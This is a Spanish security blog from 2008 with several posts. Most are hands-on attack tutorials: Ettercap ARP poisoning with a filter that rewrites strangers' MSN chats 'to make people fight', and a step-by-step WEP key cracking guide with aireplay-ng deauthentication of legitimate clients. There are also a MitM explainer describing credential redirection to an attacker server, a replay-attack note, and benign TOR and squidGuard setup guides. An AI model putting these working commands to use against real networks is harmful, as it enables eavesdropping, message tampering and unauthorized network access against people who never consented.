Ataques Man in the Middle II

Diciembre 5th, 2008

Ha llegado la hora de poner en práctica los conceptos que vimos en el anterior artículo MitM, ha llegado el momento de causar terror en nuestra red :twisted:

Ya comenté que los ataques MitM tienen multitud de aplicaciones, en este post os voy a enseñar una que permite romper relaciones, desbaratar amistades y crear desconfianza en cuestión de minutos… os voy a enseñar a modificar las conversaciones del messenger :P

Lo primero son las herramientas y para esta tarea no hay una mejor que Ettercap, utilidad compleja donde las haya pero increíblemente versátil y potente. La podemos obtener directamente de su web o a través de los gestores habituales (apt-get, yum, etc.). También necesitaremos un buen sniffer, yo suelo usar Wireshark.

Antes de empezar con el ataque tenemos que estudiar un poco nuestro objetivo, como lo que queremos es modificar las conversaciones del messenger, lo lógico sería estudiar el protocolo (MSNMS) antes de meternos en esta tarea. Afortunadamente y ya que sólo vamos a realizar un ataque muy simple, no necesitamos un conocimiento muy profundo. De todas formas, para los que estén interesados, la gente de hypothetic.org tiene una guía no oficial en donde se muestran y discuten todos los detalles del protocolo (desde aquí les doy las gracias por el curro que se han pegado, el msnspy no sería lo mismo sin ellos).

Para el caso que nos ocupa nos basta un vistazo superficial al protocolo, nos vale con poner a escuchar el wireshark y mantener un par de conversaciones. Pronto nos daremos cuenta que nuestro cliente messenger se conecta con un servidor externo. El puerto TCP en el que escucha por defecto ese servidor es el 1863. El protocolo usa un montón de tipo de mensajes diferentes, pero los paquetes que llevan las palabras que escribimos son los que comienzan con “MSG”. Con esta información es más que suficiente para este sencillo ataque.

Bien, hablemos ahora de nuestra herramienta estrella, Ettercap, que nos va a permitir colocarnos en medio de la conexión entre los dos extremos (servidor messenger y cliente) y, de forma muy sencilla, modificar aquellos paquetes que queramos. El tipo de modificación que vamos a emplear para este ataque tiene una limitación importante: sólo podremos cambiar palabras o frases por otras de la misma longitud. De todas formas, esto es más que suficiente para que montemos la de San Quintín.

Filtro para el Ettercap

La primera parte de nuestro trabajo será crear un filtro que indique al Ettercap que es lo que queremos que modifique. En la página de ayuda el Etterfilter (man etterfilter) tenemos toda la información necesaria para crear estos filtros. Aquí tenéis un ejemplo:

if (ip.proto == TCP && tcp.dst == 1863) {
if (search(DATA.data, “guapa”))
{
replace(”guapa”, “fea  ”); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes
msg(”Cambio: guapa -> fea\n”);
}

if (search(DATA.data, “Quiero”))
{
replace(”Quiero”, “Odio “); #Fijaos que dejo espacios en blanco para hacer coincidir longitudes
msg(”Cambio: Quiero -> Odio\n”);
}
}

Seguro que ya tenéis en mente algunos cambios más interesantes, ¿verdad? :twisted:

Compilando el filtro

El siguiente  paso es compilar el filtro. Esto es muy sencillo:

$ etterfilter filtro_prueba.txt -o filtro_msn.ef

Realizando el ataque MitM

Finalmente sólo nos queda llevar a cabo el ataque. Utilizaremos un envenemiento ARP para esta tarea, aunque si consultáis el manual del Ettercap (man ettercap) veréis que tiene muchos más disponibles (ya me he apuntado que tengo que escribir un post sobre las diferentes formas de colarse en medio de la conexión).

El comando sería tal como sigue (recordad que necesitamos privilegios de root):

# ettercap -Tq -M arp:remote -F filtro_msn.ef //

El flag -T le dice al Ettercap que se inicie con una interfaz solo texto. El -q es para que no salga ningún mensaje a parte de los que hemos colocado en el script (si quitáis esta opción el Ettercap os recompensará con todas las contraseñas que encuentre, muy útil).

-M arp:remote le indica el tipo de estrategia que debe seguir para situarse en medio de la conexión. En este caso le decimos que haga un envenenamiento ARP. Lo de remote significa que lo haga en los dos sentidos, me explico, en un envenenamiento ARP engañamos al cliente diciéndole que somos la pasarela, de esta forma todo lo que el cliente mande al exterior pasa a través de nuestra máquina. Sin embargo, lo que la pasarela envia al cliente no pasa por nosotros. Con la opción remote le decimos que también engañe a la pasarela, haciendole pensar que nosotros somos el cliente.

-F filtro_msn.ef carga y activa el filtro que hemos compilado

// Son los hosts sobre los que queremos realizar el ataque, en este caso, toda la red. El formato sería así [MAC]/[IP]/[Puertos]. Si quisieramos atacar sólamente dos equipos, podríamos hacerlo como sigue:

# ettercap -T -M arp:remote -F filter.ef /172.24.16.81/ /172.24.16.1/

Si lo hacemos de esta forma es importante no olvidar incluir al gateway entre los equipos objetivos. Una variante para varios equipos con IPs consecutivas sería:

# ettercap -T -M arp:remote -F filter.ef /172.24.16.1-90/

Pues ya tenemos el ataque funcionando, ahora ponemos a funcionar el msnspy y vemos como la gente se pelea. Lo mejor es que aunque descubran que lo que les llega a su interlocutor no es lo que mandaron, ni siquiera les pasará por la mente que alguien esté realizando un ataque de este tipo. Lo más probable es que lo achaquen a un virus o algo por el estilo… y es que ¿Quién podría imaginar que hay alguien en la oscuridad manipulando y cambiando sus palabras? Ridículo.

Por útlimo comentar que este post sólo pretende despertar vuestra curiosidad sobre este tipo de ataques y sobre una herramienta tan potente como Ettercap. Pensando un poco descubriréis que los usos que se le pueden dar son muchos y alguno de ellos reamente diabólicos. Así que ya sabéis, sed buenos y no hagáis nada que yo no haría xD

The Lord Of The (Token)Ring
(the fellowship of the packet)

“One Ring to link them all, One Ring to ping them,
one Ring to bring them all and in the darkness sniff them.”

– Del manual del Ettercap

Categorías: seguridad, tutoriales | 24 comentarios

Ataques Man in the Middle I

Noviembre 24th, 2008

Hace tiempo que quería hablar sobre este tipo de ataques, no me había decidido del todo debido a la enormidad de la tarea y a mi intención de explicar cómo realizarlos paso a paso. Al final he optado por dividir el artículo en varias partes y así comentar con tranquilidad cada una de ellas. En este primer post hablaré sobre los fundamentos del ataque, en qué se basa y cuál es su objetivo. En posts posteriores veremos como realizar distintas variantes del ataque y si me encuentro con ánimo, incluso incluiré cómo se pueden burlar protocolos seguros (SSH, HTTPS) usando estas técnicas.

El requisito fundamental para realizar este tipo de ataques es que toda la comunicación entre el cliente  y el servidor pase a través de la máquina atacante, de ahí el nombre de Man in the Middle (MitM)

Si nuestra intención es interceptar una conexión entre un equipo local y uno remoto, la forma más directa de colocarnos en medio es comprometer el gateway, que es la máquina por la que de manera natural pasa este flujo de la información. Por supuesto éste no es el único método que tenemos a nuestra disposición, ya en un post anterior vimos que un envenanimiento ARP también sirve para este fin. Hay muchísimas más técnicas que permiten hacer esto como, por ejemplo, el port stealing, el DHCP spoofing o el IRDP spoofing, por nombrar sólo algunas, aunque de momento tendréis que conformaros sólo con los nombres porque no es el objetivo de este post profundizar en este tipo de ataques.

Una vez que el atacante está en medio de la conexión, es capaz de controlar toda la conversación entre cliente y servidor, lo que abre todo un abanico de posibiliades que van más allá del simple sniffing. En esta situación el atacante es capaz de modificar a voluntad el flujo de información, es decir, puede alterar el contenido de los paquetes que se intercambian cliente y servidor de manera totalmente transparente para ambos extremos, por lo que estos nuncan sabrán del ataque.

Esto no es una tarea sencilla y la complejidad técnica es importante. Por exponer sólo algunos detalles que entran en juego, si se modifica un paquete TCP, no sólo hay que cambiar el payload del paquete, también hay que recalcular el CRC y los números de secuencia. Es más, al alterar los números de secuencia, a partir de ese momento el atacante tendrá que sincronizar de manera transparente los números de secuencia que usa el cliente y los que usa el servidor, pues a partir de ese momento serán diferentes. Una vez superadas las dificultades técnicas, las posibilidades que nos ofrece este tipo de ataques superan ampliamente lo que podemos conseguir con otros métodos. Veamos algunos ejemplos: muchos portales web usan conexión https sólo durante la verificación del password, lo que es suficiente para proteger la contraseña contra ataques de sniffing.

En la figura vemos como en la respuesta el servidor indica al cliente que debe enviar sus credenciales a https://webmail.ejemplo.com/login.php, lo que asegura protección frente a escuchas al usar HTTPS. Si en esta situación realizaramos un ataque MitM el resultado podría ser el siguiente:

En la figura vemos que la petición del cliente no se modifica en absoluto, pero sí que se altera la respuesta del servidor, de tal manera que se hace creer al cliente que debe enviar las credenciales a http://servidor.atacante.com/login.php, que obviametne será un servidor controlado por el atacante y que registrará estos valiosos datos.

Otros ataques MitM podrían ser la alteración de un fichero descargado por el cliente, de tal forma que éste baje a su equipo el fichero deseado por el atacante y no el que pretendía,  o la alteración de sesiones TCP para introducir en ellos comandos que el cliente no ha enviado, por ejemplo, un cliente se conecta a un servidor telnet con ODP y el atacante usa un ataque MitM para enviar una serie de comandos destinados a abrir una puerta trasera. De hecho, las posibilidades sólo están limitadas por la imaginación y os aseguro que hay personas muy creativas.

Como ya os habréis dado cuenta, en todos los ejemplos que he puesto los ataques se realizan sobre protocolos no seguros (HTTP, FTP, Telnet…), ya que es necesario modificar el payload del paquete para que el ataque tenga éxito. Para aplicar estos ataques sobre protocolos seguros es necesario tener en cuenta muchos más detalles y no siempre  pueden llevarse a cabo, sin embargo ya discutiré ese tema en un post posterior, pues su complejidad supera en mucho lo que quería mostrar en este primer acercamiento a los MitM.

Por último quería llamar vuestra atención sobre la forma en la que he descrito estos ataques. Tal y como lo he contado los paquetes se modifican al vuelo, siendo el ataque totalmente transparente. Algunos autores denominan a esto MitM Full Duplex, aunque personalmente no encuentro el término demasiado apropiado. El caso es que existe una variante del ataque que podríamos denominar Proxy MitM. Aquí la máquina atacante actua como proxy redireccionando todas las peticiones entre cliente y servidor. Hay que tener en cuenta que ahora es la máquina atacante la que establece las conexiones entre ambos extremos, por lo que el ataque no es totalmente transparente (si examinamos los paquetes veremos que nos vienen desde la máquina atacante y no del cliente/servidor legítimo).

La complejidad técnica de estos ataques es mucho menor que en el caso anterior (por ejemplo, ya no hay que sincronizar números de secuencia), por lo que es mucho más fácil implementarlos. Evidentemente también tiene desventajas respecto al ataque original, una de las más criticadas es su incapacidad para eludir mecanismos como los TCP Wrappers.

Y creo que esto ya es bastante para una primera aproximación, en el próximo post nos pondremos manos a la obra y veremos como realizar unos de estos magníficos ataques.

Categorías: seguridad | 5 comentarios

Replication Attacks

Noviembre 20th, 2008

Es curioso que a pesar de lo importante que se han vuelto las medidas de seguridad en cualquier tipo de software, aún hoy en día podamos encontrar programas hechos a medida que cuentan con sistemas de protección que no sólo no protegen, sino que dejan en evidencia los conocimientos de sus desarrolladores en cuánto a este tema se refiere.

Desgraciadamente lo que os voy a contar es algo que encuentro con más frecuencia de la que sería deseable. Pongámonos en situación, imaginemos una aplicación cliente/servidor  que se ha desarrollado para una red interna. Durante su diseño nunca se tuvo en cuenta que la red en donde se tendría que colocar podría ser un entorno hostil, así que la utilización de protocolos seguros jamás pasó por la mente de ninguno de los diseñadores. Uno de los peores problemas que esto genera es que cualquier empleado puede hacerse con las credenciales de otro vía sniffing, pudiendo así suplantar su identidad y hacer todo tipo de trastadas.

No hay problema, dice el más inteligente de los desarrolladores, parcheamos la aplicación cliente para que genere un hash a partir de las credenciales. Luego lo envía al servidor en donde ocurre un proceso similar, es decir se genera el hash a partir de la información de la base de datos. Por último se comprueba si las dos versiones son iguales, en cuyo caso se da acceso a la aplicación. A veces también se suele emplear cifrado simétrico con claves pre-distribuidas o extraños métodos de autenticación de lo más retorcido, pero igual de vulnerables.

Y es que por muy extraño que sea el algoritmo para generar el hash, por muy difícil que sea invertir el cifrado o por más que no sepamos que estrafalarios métodos usa la aplicación para enviar esa jeringonza imcomprensible que estamos capturando con nuestro magnífico sniffer, lo cierto es que da igual. Y da igual porque siempre el mismo usuario + la misma clave = el mismo hash.

Nos basta capturar ese hash una vez y cuando queramos acceder a la apliación lo enviamos tal cual (si se trata de una aplicación web esto es trivial). Da igual que no sepamos cual es la clave en texto plano… da igual porque la aplicación servidor espera que le llegue ese hash y ya se encargará ella de comprobar si es legítimo o no. A este tipo de ataques se los conoce como Replication Attacks y son casi tan viejos como la propia Internet, por eso sigo sin entender como es posible que aún se cometan estos fallos hoy en día.

Categorías: seguridad | 1 comentario

Navegación Anónima: La red TOR

Mayo 13th, 2008

A pesar de lo que podamos pensar y de lo seguro que nos sintamos tras la pantalla de nuestro ordenador, lo cierto es que navegar en la red de redes es una actividad que puede ser muchas cosas, excepto privada. Es fácil para cualquier sitio web tracearnos, recopilar datos sobre nosotros e incluso recurrir a la vía judicial si hemos hecho alguna acción especialmente ofensiva… no es raro leer alguna noticia sobre cómo ha acabado en juicio una amenaza vertida en forma de comentario en algún blog.

Dejando aparte los casos extremos, lo cierto es que estamos en nuestro derecho de querer navegar anónimamete. A veces más que un derecho es una necesidad… y cómo suele ocurrir en estos casos, siempre hay alguna empresa dispuesta a ayudarnos a cambio de un módico precio, aunque por supuesto, también podemos encontrar alternativas gratuitas que ofrecen un servicio similar. Alguna de las páginas dedicadas a navegación anónima son http://anonymouse.org/, http://ibypass.net/ y http://www.anonymizer.com/ por citar algunas.

El problema con este tipo de páginas es que son exclusivamente para eso, para navegación anónima, pero que pasa si queremos mantener nuestra IP oculta mientras mandamos un correo con nuestro cliente POP, jugamos al Quake, usamos nuestro cliente SSH, chateamos en el IRC o usamos nuestro programa de mensajería instantánea… en definitiva, que pasa cuando queremos usar cualquier cliente TCP. En ese caso tenemos que recurrir a otro tipo de soluciones como es el caso de la que nos ocupa: TOR

Tor es una red anónima diseña para proteger la privacidad de sus usuarios. El funcionamiento es como sigue, cuando un cliente se quiere conectar a la red TOR solicita a un servidor de directorio los nodos TOR disponibles, luego establece un circuito virtual aleatorio e inicia la conexión con el nodo final. La conexión entre los nodos TOR va cifrada y sólo va en plano desde el último nodo hasta el destino final.

Ejemplo red TOR

En la página oficial podéis encontrar una explicación mucho más detallada de funcionamiento. A mi lo que me interesa es enseñaros un modo muy rápido de instalar TOR y que desde  hoy mismo empecéis a ser seres anónimos, o por lo menos, que tengáis las herramientas para serlo.

Manos a la obra:

1. Instalamos TOR y Privoxy

Privoxy es un proxy privado que será nuestro punto de entrada a la red TOR. Una vez que tengamos todo instalado y configurado, haremos que nuestras aplicaciones usen privoxy y éste se encargará de pasar el tráfico a la red TOR.

# apt-get install tor privoxy

Pudiera ser que estos paquetes no se encuentren en nuestra distribución (esto es especialmente cierto si usamos Debian Etch). En ese caso habría que bajarse los fuentes y compilarlos, como muy bien explican en la web oficial.

2. Configuramos Privoxy

Editamos el fichero de configuración /etc/privoxy/config, borramos todo su contenido y en su lugar escribimos lo siguiente:

#———– BEGIN ———–

user-manual /usr/share/doc/privoxy/user-manual
confdir /etc/privoxy
logdir /var/log/privoxy
actionsfile standard.action # Internal purpose, recommended
actionsfile global.action # Global default setting for all sites
actionsfile default.action # Main actions file
actionsfile user.action # User customizations
filterfile default.filter
listen-address 127.0.0.1:8118
toggle 1
enforce-blocks 0
buffer-limit 4096
forward-socks4a / 127.0.0.1:9050 .
forwarded-connect-retries 0
accept-intercepted-requests 0
allow-cgi-request-crunching 0
split-large-forms 0

#———— END ————

Reiniciamos privoxy de la manera usual, normalmente:

$ /etc/init.d/privoxy restart

3. Configuramos las aplicaciones para que usen TOR

Bien, esta es la parte complicada, ya tenemos instalado TOR en nuestro ordenador y Privoxy configurado para que se conecte a él. Ahora bien, tenemos que configurar todas y cada una de nuestras aplicaciones para que se conecten con nuestro proxy local. Para los que tengan las cosas claras sólo mencionar que Privproxy escucha en: 127.0.0.1:8118

Para los que no, aquí tenéis como configurar el navegador para que use un proxy. Otras aplicaciones, como los clientes de mensajería instantánea, tienen en sus opciones de configuración la posibilidad de definir un proxy, en este caso la configuración variará de un cliente a otro y lo mejor es buscar algún tutorial sobre cómo configurar ese cliente. Hay un tercer grupo de aplicaciones que no tienen posibilidad de especificar proxy pero aún así nos interesa que vayan a través de TOR (un ejemplo de éstas podría ser el cliente de SSH estándar). En este caso es necesario el uso de aplicaciones puentes como proxychains, capaces de ‘proxyficar’ cualquier aplicación.

Una advertencia

TOR ofrece anonimato, es decir, oculta nuestra IP al destino final, pero no ofrece seguridad frente a escuchas por parte del repetidor final. Es decir, en el nodo final de la red TOR, justo antes de comunicarnos con el destino, los datos son descifrados y por lo tantos susceptibles a escuchas malintencionadas. Si tenemos datos confidenciales no podemos dejar la responsabilidad de que esos datos no sean capturados en manos de TOR, sino en manos del destino final que deberá usar algún protocolo seguro como HTTPS. Hace unos meses un hacker sueco se hizo con una buena cantidad de datos confidenciales precisamente por esta falsa creencia. Lo vuelvo a repetir y lo pongo en negrita para los que lean en diagonal: TOR ofrece anonimato, no protección total fretne a escuchas. Sí que ofrece protección parcial hasta el punto de que nuestros datos no serán visibles para los sniffers que haya en nuestra propia red local, lo cual viene muy bien a todos esos pobres empleados que se encuentran intesamente monitorizados y no pueden ver porno en las horas de trabajo.

Y ya que estamos, también podemos usar TOR para evitar las restricciones de acceso si estamos detrás de un firewall (o de un proxy con filtros restrictivos, sí, sí, cómo ese que os enseñé a montar en el artículo anterior). En fin, que hay muchas posibilidades y no os las he contado todas, echad un vistazo a la web oficial porque vale la pena.

Categorías: seguridad, tutoriales | 14 comentarios

Bloquear contenido

Mayo 10th, 2008

Hace algunos días un padre preocupado me preguntó como podía controlar lo que sus hijos ven en Internet, o incluso bloquear ciertos sitios web de contenido dudoso. Esta preocupación no es nueva y de hecho ha sido explotada por numerosas compañías para obtener buenos beneficios. Pero lo cierto es que nos basta tener un pequeño servidor con Linux para montar un sistema de este tipo de forma barata y sencilla. En este post explicaré paso a paso lo que tenemos que hacer para lograrlo.

En los ejemplos usaré el gestor de paquetes apt, sustitúyelo por el de tu distribución según el caso.

Lo primero que tenemos que hacer es instalar un proxy en nuestro servidor. Un proxy es un programa que hace de intermediario entre dos aplicaciones, una vez configurado todo adecuadamente, el navegador web se conectará al proxy y es éste el que se conectará a la página web final. Así pues, todas las conexiones pasarán a través del proxy lo que llegado el momento nos permitirá filtrarlas según nos convenga.

1. Instalamos el proxy, yo usaré un proxy libre llamado squid y un plugin diseñado especialmente para filtrar contenido, squidGuard:

# apt-get install squid squidguard

Seguidamente editamos el fichero de configuración /etc/squid/squid.conf, buscamos la sección que hace referencia a la claúsula visible_hostname y añadimos al fichero la opción:

{…}

visible_hostname localhost

{…}

2. Modificamos la configuración para que el proxy lo pueda usar cualquier máquina de la red local

La configuración por defecto sólo permite que el squid sea usado desde el host en el que está instalado (localhost). Así pues, si quisieramos que todos los usuarios de la red interna pudieran usar el proxy, tendríamos que editar el squid.conf y añadir lo siguiente bajo la sección http_access

{…}

# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
acl localnet src 192.168.1.0/255.255.255.0
http_access allow localhost
http_access allow localnet
http_access deny all
{…}

Con la primera regla (acl localnet…) establecemos una acl (lista de control de acceso) llamada localnet que hace referencia a nuestra red local. Aquí deberás cambiar la IP mostrada por la que corresponda a tu red.

3. Conectamos el squid con el squidGuard, para que este útlimo pueda determinar si debe filtrar la dirección o no:

Al final del squid.conf añadimos siguiente línea

{…}

redirect_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

4. Nos bajamos la lista de sitios prohibidos y la colocamos en su ubicación final

# cd /var/lib/squidguard

# wget http://squidguard.mesd.k12.or.us/blacklists.tgz

# tar xvzf blacklists.tgz

# rm -rf db

# mv blacklists db

# squidGuard -C all

# chown -R proxy:proxy db

5. Configuramos el squidGuard para que no permita acceder a los sitios prohibidos

Editamos el fichero de configuración /etc/squid/squidGuard.conf y en la sección # DESTINATION CLASSES añadimos:

{…}

#
# DESTINATION CLASSES:
#

dest ads {
domainlist ads/domains
urllist ads/urls
}
dest aggressive {
domainlist aggressive/domains
urllist aggressive/urls
}
dest audio-video {
domainlist audio-video/domains
urllist audio-video/urls
}
dest drugs {
domainlist drugs/domains
urllist drugs/urls
}
dest gambling {
domainlist gambling/domains
urllist gambling/urls
}
dest hacking {
domainlist hacking/domains
urllist hacking/urls
}
dest mail {
domainlist mail/domains
urllist mail/urls
}
dest porn {
domainlist porn/domains
urllist porn/urls
}
dest proxy {
domainlist proxy/domains
urllist proxy/urls
}
dest redirector {
domainlist redirector/domains
urllist redirector/urls
}
dest spyware {
domainlist spyware/domains
urllist spyware/urls
}
dest suspect {
domainlist suspect/domains
urllist suspect/urls
}
dest violence {
domainlist violence/domains
urllist violence/urls
}
dest warez {
domainlist warez/domains
urllist warez/urls
}

{…}

Ahora, buscamos la línea que empieza por acl { y la borramos junto con todo lo que le sigue hasta el final del fichero. En su lugar ponemos:

{…}

acl {
default {
pass !ads !aggressive !drugs !gambling !hacking !mail !porn !proxy !violence !warez all
redirect http://www.sendaoscura.com/prohibido.html
}
}

Y con esto queda configurado todo. Si quisieramos añadir una lista de sitios prohibidos propios, nos bastaría con añadir un nuevo directorio en /var/lib/squidguard/db y en ahí dentro poner dos ficheros: domains (que contendrá una lista de IPs de dominios inválidos) y urls (que contendrá una lista de urls inválidas). Tras eso ejecutaríamos “squidGuard -C all“, que acutaliza las bases de datos del SquidGuard y luego editaríamos el squidGuard.conf como hemos hecho anteriormente para añadir esta nueva lista a las ya controladas.

6. Configuración de los equipos clientes para que usen el proxy

Ya sólo nos queda obligar a los distintos navegadores de la red local a que usen el proxy que hemos configurado. Llegados a este punto hay diferentes alternativas, pero cómo no quiero extenderme más de lo necesario os comentaré la más simple de todas y nombraré alguna más. Si tenéis interés podéis dejar un comentario y os amplio información.

En esta aproximación, simplemente vamos equipo por equipo configurando los navegadores para que usen nuestro proxy, en esta web podéis encontrar información detallada sobre como hacer esto: configuración del navegador para que use un proxy

Luego nos aseguramos que la configuración del proxy no se pueda alterar, según el navegador elegido tendremos que hacer esto de una manera u otra. A modo de ejemplo comentaré como hacerlo con el Firefox, que además es muy sencillo. Nos basta instalar la extensión Public Fox, la cual nos permite poner un password para acceder a las opciones de configuración (entre otras cosas). Así pues, configuramos el plugin de la forma adecuada y ya nadie que no conozca el password podrá acceder a las opciones para desactivar el proxy. Y con esto nuestro sistema queda listo.

Una alternativa más elegante es el uso de un proxy transparente junto con un filtro de red a nivel TCP (IPTables, por ejemplo). Este último forzaría a todas las peticiones dirigidas a un puerto HTTP a pasar a través del proxy transparente.

Categorías: seguridad, tutoriales | 7 comentarios

La guía definitiva para romper claves WEP (con clientes conectados)

Abril 8th, 2008

Sí, tengo un poco abandonado el blog y no voy a justificarme… la vida es así. Pero bueno, por fin he encontrado un rato para escribir la guía que tantos me habéis pedido, una guía paso a paso sobre como romper claves WEP. He decidido dividir la guía en dos partes diferenciadas por su contenido. En ésta exploraremos como hacernos con las contraseñas de esas redes que tienen clientes wifi conectados y ya en la segunda, atacaremos las redes que aunque ofrecen cobertura wifi nadie se conecta (legítimamente) a ellas. Bien, comencemos sin más preámbulos:

Réquisitos Previos

* Tener Linux (por supuesto), o al menos cualquier distribución Live como por ejemplo Knoppix-STD.

* Descargar la última versión del aircrack-ng (es importante que descarges una versión superior a la 0.94).

Instalar el aircrack-ng

Si como te dije en requisitos previos has descargado el aircrack-ng desde la web, ahora toca instalarlo:

$ tar xzf aircrack-ng-1.0-beta2.tar.gz

$ cd aircrack-ng-1.0-beta2/

$ make

$ sudo make install

Si no me has hecho caso e instalaste el aircrack-ng desde tu gestor de paquetes (apt-get, yum, o el que sea) comprueba que la versión sea superior a la 0.94 y si no es así, bájalo desde la web e instálalo.

Parchear los drivers de la tarjeta de red

Los drivers originales de la tarjeta de red normalmente no permiten inyectar tráfico en una wifi, es decir, generar paquetes a medida e inyectarlos en la red para lograr nuestros objetivos. Por lo tanto, se hace necesario parchear los drivers de nuestra tarjeta de red. Para saber que tarjeta de red estás usando prueba con:

$ lspci | grep Network
0c:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

En la págian oficial del aircrack-ng encontrarás un montón de parches para diferentes drivers. Elige el que corresponda a tu tarjeta y luego parchea tu kernel. No te asustes, no es complicado (si tu driver es exactamente el que aparece arriba, sáltate los siguientes pasos):

1. Busca las fuentes de tu kernel, normalmente deberían estar en /usr/src/linux (si no las tienes, descárgalas desde www.kernel.org).

2. Baja el parche a /usr/src

3. Aplica el parche con el comando patch:

# cd /usr/src/linux

# patch -p1 < /usr/src/nombre.parche

4. Compila e instala el nuevo kernel (déjame un comentario si tienes problemas para hacer esto).

PERO si tu tarjeta de red es igual que la mía Intel Corporation PRO/Wireless 3945ABG estás de suerte, porque te voy a explicar el procedimiento paso a paso ;)

Este driver no está entre los que podemos encontrar en la web del aircrack-ng, sin embargo existe una página alternativa en donde podemos descargárnoslo: http://homepages.tu-darmstadt.de/~p_larbig/wlan/

1. Nos descargamos la última versión

$ wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.3.4-04022008.tar.bz2

2. Ahora necesitamos los fuentes del núcleo. Si hemos compilado nuestro propio kernel, ya tendremos los fuentes. Si estamos usando una versión precompilada del kernel, necesitamos las cabeceras. Si usas Debian o Ubuntu bájate las cabeceras de una forma similar a la siguiente:

# uname -a

Linux Darky 2.6.18-5-686 #1 SMP Tue Nov 20 13:39:58 WET 2007 i686 GNU/Linux

# apt-get install linux-headers-2.6.18-5-686

Si las cabeceras que estás intentando instalar ya no se encuentran en el repositorio de tu distribución, tendrás que actualizar tu kernel a una versión más reciente vía apt-get y luego instalar las cabeceras.

3. Instalamos el driver

# tar xjf ipwraw-ng-2.3.4-04022008.tar.bz2

# cd ipwraw-ng

# make

# make install

# make install_ucode

4. Descargamos el driver original y usamos el parcheado (ATENCIÓN: el nuevo driver no sirve para navegar normalmente, así que sólo lo cargaremos cuando vayamos a monitorizar/inyectar paquetes).

# rmmod ipw3945

# modprobe ipwraw

Fijar un objetivo

Supongo que si estás leyendo este tutorial es porque ya le has echado el ojo a alguna red, pero si no es así lo primero que tenemos que tener claro es que red vamos a atacar y obtener unos cuantos datos sobre ella. Hay muchas formas de hacer esto, pero ya que estamos usando aircrack-ng emplearemos la utilidad de monitoreo que trae este kit. Así pues, primero echamos un vistazo a las redes disponibles:

# airodump-ng eth2

—-

CH 10 ][ Elapsed: 12 s ][ 2008-04-08 11:23

BSSID PWR Beacons #D, #/s CH MB ENC CIPHER AUTH ESSID

00:14:51:74:5E:FF 0 20 69 0 6 54 WEP WEP air_wifi

BSSID STATION PWR Rate Lost Packets Probes

00:14:51:74:5E:FF 00:18:DE:10:99:3B 0 0- 0 0 5
00:14:51:74:5E:FF 00:12:F0:06:62:5A 0 0- 0 209 70

—-

Hemos detectado una red con dos clientes conectados. Ahora necesitamos obtener la máxima información de esa red (capturar todos los paquetes de datos entres los clientes y el punto de acceso), así que volvemos a relanzar el airodump-ng pero incluyendo opciones para que sólo capture paquetes de esa red. Además, debemos guardar todo lo capturado en un fichero, que nos será de gran utilidad más tarde.

# airodump-ng –bssid 00:14:51:74:5E:FF –channel 6 –write captura eth2

El BSSID y el CHANNEL lo obtenemos de la anterior ejecución del airodump.

Acelerar el proceso

Para poder romper una clave WEP necesitamos capturar un elevado número de paquetes útiles, para acelerar el proceso de captura de datos usaremos la combinaicón de dos técnicas: ARP Replay y DeAuth.

Con la primera técnica pondremos a nuestro equipo a escuchar y cada vez que capture un paquete ARP lo reenviará hasta la saciedad, con la segunda forzaremos a los clientes legítimos a desconectarse, lo que implica que tendrán que iniciar el proceso de conexión nuevamente y por lo tanto generarán una oleada de paquetes ARP que nuestro anterior ataque se encargará de utilizar provechosamente.

Ataque ARP Replay

Para llevar a cabo este ataque, lo primero es registrar nuestro equipo en la wifi (requiere que hayamos parcheado los drivers de nuestra tarjeta de red).

Así pues, necesitamos la MAC de nuestra tarjeta wifi:

# ifconfig eth2
eth2 Link encap:UNSPEC HWaddr 00-19-D2-6D-1E-01-F4-FF-00-00-00-00-00-00-00-00
UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:2346 Metric:1
RX packets:15373 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1874966 (1.7 MiB) TX bytes:0 (0.0 b)
Interrupt:17 Base address:0xc000 Memory:efdff000-efdfffff

La MAC son los 6 primeros pares de dígitos que encontramos tras HWaddr, en mi caso sería: 00:19:D2:6D:1E:01

Con este dato y con los que tenemos del paso anterior ya podemos iniciar el ataque:

Primero, nos registramos:

# aireplay-ng -1 0 -e air_wifi -a 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Luego dejamos funcionando el ataque ARP Replay:

# aireplay-ng -3 -b 00:14:51:74:5E:FF -h 00:19:D2:6D:1E:01 eth2

Y ahora lanzamos el ataque DeAuth para desconectar a los clientes legítimos:

# aireplay-ng -0 1 -a 00:14:51:74:5E:FF eth2

Si todo va bien, veremos como la ventana donde hemos puesto a funcionar el ataque “ARP Replay” comienza a llenarse con actividad de paquetes enviados. Y también veremos como la ventana del airodump-ng comienza a registrar una cantidad notable de tráfico y lo que es más importante, muchos paquetes con vectores IV útiles.

Después de capturar suficientes paquetes sólo nos queda poner a funcionar el aircrack-ng

# aircrack-ng captura.cap

Y a esperar a que obtenga la ansiada clave. Bueno, espero vuestros comentarios, sugerencias y correcciones. Ya escribiré la segunda parte un año de estos :P

Categorías: seguridad, tutoriales | 23 comentarios

aireplay-ng desmitificado

Marzo 7th, 2008

De entre todas las utilidades que nos encontramos en el kit aircrack-ng el aireplay-ng es quizá la más complicada de comprender debido a sus múltiples funcionalidades. Con este post pretendo arrojar un poco de luz sobre los modos de uso de esta potente herramienta, se trata de una discusión conceptual, así que no espéreis encontrar un montón de comandos, mi objetivo en este caso es explicar lo que puede y no puede hacer el aireplay-ng.

Para entrar en situación recordemos que el kit aircrack-ng nos trae, entre otras cosas, tres utilidades importantes:

* airodump-ng -> Para capturar datos
* aircrack-ng -> Para encontrar la clave wep en los datos capturados por el airdoump
* aireplay-ng -> Para aumentar la cantidad de tráfico, ya que se necesitan un número mínimo de paquetes para que el ataque tenga éxito.

También sabéis que no todos los paquetes capturados nos valen, sólo aquellos que tengan un IV (vector de inicialización) con información útil. Estos paquetes no son tan frecuentes como desaríamos y es ahí en dónde entra en juego el aireplay-ng.

